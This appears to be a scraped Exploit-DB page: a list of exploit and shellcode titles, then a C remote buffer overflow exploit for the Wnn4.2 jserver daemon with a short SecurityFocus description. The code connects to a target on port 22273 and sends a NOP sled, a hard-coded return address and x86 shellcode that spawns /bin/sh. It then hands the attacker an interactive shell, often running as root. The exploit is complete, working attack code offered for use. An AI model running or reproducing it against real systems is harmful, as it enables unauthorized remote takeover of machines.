
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
115 lines
No EOL
3.9 KiB
C
115 lines
No EOL
3.9 KiB
C
// source: https://www.securityfocus.com/bid/1603/info
|
|
|
|
A remote buffer overflow exists in the Asian language servers portion of a number of different implementations of Wnn. It has been reported that only systems that have WorldView Japanese, Korean, and Chinese installed are vulnerable to this issue. Wnn is a Kana-Kanji translation system, most commonly used for foreign language support in Unix systems.
|
|
|
|
An overflow exists when the server receives a long string with a Wnn command, such as JS_OPEN, JS_MKDIR or JS_FILE_INFO included. By creating a buffer containing machine executable code, it is possible to cause a remote system running the jserver daemon to execute arbitrary commands as the user the daemon is running as. This is frequently root.
|
|
|
|
/*=============================================================================
|
|
Wnn4.2 / jserver remote buffer overflow exploit for Linux
|
|
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
|
|
Written by UNYUN (shadowpenguin@backsection.net)
|
|
=============================================================================
|
|
*/
|
|
#include <stdio.h>
|
|
#include <netdb.h>
|
|
#include <fcntl.h>
|
|
#include <ctype.h>
|
|
#include <unistd.h>
|
|
#include <strings.h>
|
|
#include <stdlib.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/stat.h>
|
|
#include <netinet/in.h>
|
|
|
|
#define TARGET_PORT 22273
|
|
#define COMMAND 0x01
|
|
#define VERSION 0x4000
|
|
#define MAXBUF 800
|
|
#define STR1_SIZE 10
|
|
#define NOP 0x90
|
|
#define RET 0xbffffcb4
|
|
#define ADJUST 3
|
|
|
|
char *shellcode =
|
|
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab"
|
|
"\x89\xfa\x31\xc0\xab\xb0\x04\x04\x07\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80"
|
|
"\xe8\xd9\xff\xff\xff/bin/sh";
|
|
|
|
void putint(sockfd,c)
|
|
int sockfd,c;
|
|
{
|
|
unsigned char tmp[4];
|
|
|
|
tmp[0]=(c >> (8 * 3))&0xff;
|
|
tmp[1]=(c >> (8 * 2))&0xff;
|
|
tmp[2]=(c >> (8 * 1))&0xff;
|
|
tmp[3]=c&0xff;
|
|
write(sockfd,tmp,4);
|
|
}
|
|
|
|
void term (int p, int c)
|
|
{
|
|
char buf[1032];
|
|
fd_set rfds;
|
|
int i;
|
|
|
|
while(1){
|
|
FD_ZERO (&rfds);
|
|
FD_SET (p, &rfds);
|
|
FD_SET (c, &rfds);
|
|
if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1) return;
|
|
if (FD_ISSET (c, &rfds)){
|
|
if ((i = read (c, buf, sizeof (buf))) < 1) exit (0);
|
|
else write (p, buf, i);
|
|
}
|
|
if (FD_ISSET (p, &rfds)){
|
|
if ((i = read (p, buf, sizeof (buf))) < 1) exit (0);
|
|
else write (c, buf, i);
|
|
}
|
|
}
|
|
}
|
|
main(int argc,char *argv[])
|
|
{
|
|
int sockfd,i;
|
|
struct in_addr addr;
|
|
struct sockaddr_in target;
|
|
struct hostent *hs;
|
|
char buf[MAXBUF];
|
|
|
|
if (argc<2){
|
|
printf("usage : %s TargetHost\n",argv[0]);
|
|
exit(1);
|
|
}
|
|
sockfd=socket(AF_INET, SOCK_STREAM, 0);
|
|
target.sin_family=AF_INET;
|
|
target.sin_port=htons(TARGET_PORT);
|
|
if ((target.sin_addr.s_addr=inet_addr(argv[1]))==-1){
|
|
if ((hs=gethostbyname(argv[1]))==NULL){
|
|
printf("Can not resolve specified host.\n");
|
|
exit(1);
|
|
}
|
|
target.sin_family = hs->h_addrtype;
|
|
memcpy((caddr_t)&target.sin_addr.s_addr,hs->h_addr,hs->h_length);
|
|
}
|
|
if (connect(sockfd, (struct sockaddr*)&target, sizeof(target))!=0){
|
|
printf("Can not connect to %s:%d\n",argv[1],TARGET_PORT);
|
|
exit(1);
|
|
}
|
|
putint(sockfd,COMMAND);
|
|
putint(sockfd,VERSION);
|
|
|
|
memset(buf,NOP,MAXBUF);
|
|
printf("Jumping Address=%x\n",RET);
|
|
for (i=100+ADJUST;i<400+ADJUST;i+=4){
|
|
buf[i+3]=(RET>>24)&0xff;
|
|
buf[i+2]=(RET>>16)&0xff;
|
|
buf[i+1]=(RET>>8)&0xff;
|
|
buf[i+0]=RET&0xff;
|
|
}
|
|
buf[STR1_SIZE]=0;
|
|
buf[MAXBUF-1]=0;
|
|
memcpy(buf+600+ADJUST,shellcode,strlen(shellcode));
|
|
write(sockfd,buf,MAXBUF);
|
|
printf("Connected to %d\n",TARGET_PORT);
|
|
term(sockfd,0);
|
|
} |